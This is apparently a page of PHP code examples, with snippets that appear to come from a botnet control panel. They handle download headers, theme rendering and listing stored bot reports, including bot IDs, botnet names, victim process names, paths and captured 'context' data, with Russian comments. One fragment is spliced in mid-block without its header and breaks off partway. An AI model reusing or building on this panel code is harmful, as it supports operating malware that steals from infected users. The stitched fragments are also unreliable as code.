Example #1
0
function httpDownloadHeaders($name, $size)
{
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename=' . baseNameEx($name));
    header('Content-Transfer-Encoding: binary');
    header('Content-Length: ' . $size);
    httpNoCacheHeaders();
}
Example #2
0
function themeSmall($subtitle, $data, $js_script, $popup_menu, $body_events)
{
    //Добавление JavaScript.
    $javascript = '';
    $body_js_events = $body_events === 0 ? '' : $body_events;
    if ($js_script != '') {
        $javascript .= str_replace('{SCRIPT}', $js_script, THEME_JAVASCRIPT_BODY);
    }
    if ($popup_menu != '') {
        $javascript .= str_replace('{SCRIPT}', $popup_menu, THEME_JAVASCRIPT_BODY) . str_replace('{PATH}', THEME_PATH . '/popupmenu.js', THEME_JAVASCRIPT_EXTERNAL);
        $body_js_events .= ' onclick="jsmHideLastMenu()"';
    }
    header('Content-Type: ' . THEME_CONTENT_TYPE . '; charset=utf-8');
    httpNoCacheHeaders();
    echo str_replace(array('{SUBTITLE}', '{THEME_HTTP_PATH}', '{JAVASCRIPT}', '{BODY_JS_EVENTS}', '{BODY}'), array($subtitle, THEME_PATH, $javascript, $body_js_events, $data), file_get_contents(THEME_PATH . '/small.html'));
}
             }
             # Report
             echo '<li><a href="', QUERY_STRING_HTML . '&amp;t=' . htmlEntitiesEx($filter['date']) . '&amp;id=' . $m[0], '">[+]</a> ' . $text . '</li>';
         }
         echo '</ul>';
     }
     /* // [Infinite-scroll commented-out]
       print '<br><br><a class="load_next_page" href="'.$nextpage_url.'">'.LNG_REPORTS_VIEW_NEXTPAGE.'</a>';
       */
 } else {
     if ($_is_plain_search) {
         define('REPEAT_SIZE', 40);
         //Размер визальных разделитилей.
         define('HEADER_PAD', 30);
         //Длина заголовков.
         httpNoCacheHeaders();
         header('Content-Type: text/plain; charset=utf-8');
         echo "";
         //UTF8 BOM
         $nc = $filter['nonames'];
         foreach ($rlist as $t) {
             $v = intval(substr($t, -6));
             if ($v >= $filter['date1'] && $v <= $filter['date2']) {
                 $lastdata = array_fill(0, 16, 0);
                 //Заголовок даты.
                 echo str_repeat('=', REPEAT_SIZE) . ' ' . gmdate(LNG_FORMAT_DATE, gmmktime(0, 0, 0, substr($t, -4, 2), substr($t, -2, 2), substr($t, -6, 2) + 2000)) . ' ' . str_repeat('=', REPEAT_SIZE) . "\r\n";
                 flush();
                 //Запрос.                 //0     //1     //2          //3         //4          //5          //6             //7        //8    //9      //10  //11          //12          //13         //14
                 $r = mysqlQueryEx($t, $q = 'SELECT bot_id, botnet, bot_version, os_version, language_id, time_system, time_localbias, time_tick, rtime, country, ipv4, process_name, process_info, path_source, type,' . 'LENGTH(context), context FROM ' . $t . ' `t` ' . $query1 . $query2);
                 if (!$r) {
                     echo mysqlErrorEx();
Example #4
0
function themeSmall($subtitle, $data, $js_script, $popup_menu, $body_events)
{
    //Добавление JavaScript.
    $javascript = '';
    $body_js_events = $body_events === 0 ? '' : $body_events;
    if ($js_script != '') {
        $javascript .= str_replace('{SCRIPT}', $js_script, THEME_JAVASCRIPT_BODY);
    }
    if ($popup_menu != '') {
        $javascript .= str_replace('{SCRIPT}', $popup_menu, THEME_JAVASCRIPT_BODY) . str_replace('{PATH}', THEME_PATH . '/popupmenu.js', THEME_JAVASCRIPT_EXTERNAL);
        $body_js_events .= ' onclick="jsmHideLastMenu()"';
    }
    header('Content-Type: ' . THEME_CONTENT_TYPE . '; charset=utf-8');
    httpNoCacheHeaders();
    $sere = array('{SUBTITLE}' => $subtitle, '{THEME_HTTP_PATH}' => THEME_PATH, '{JAVASCRIPT}' => $javascript, '{BODY_JS_EVENTS}' => $body_js_events, '{BODY}' => $data, '{LANGUAGE}' => empty($GLOBALS['userData']['language']) ? 'en' : $GLOBALS['userData']['language'], '{BODY_PAGE}' => defined('CURRENT_MODULE') ? CURRENT_MODULE : (isset($_GET['botsaction']) ? 'botsaction-' . htmlentities($_GET['botsaction']) : 'unknown'), '{FLASHMSG}' => ThemeFlashMessages());
    echo str_replace(array_keys($sere), array_values($sere), file_get_contents(THEME_PATH . '/small.html'));
}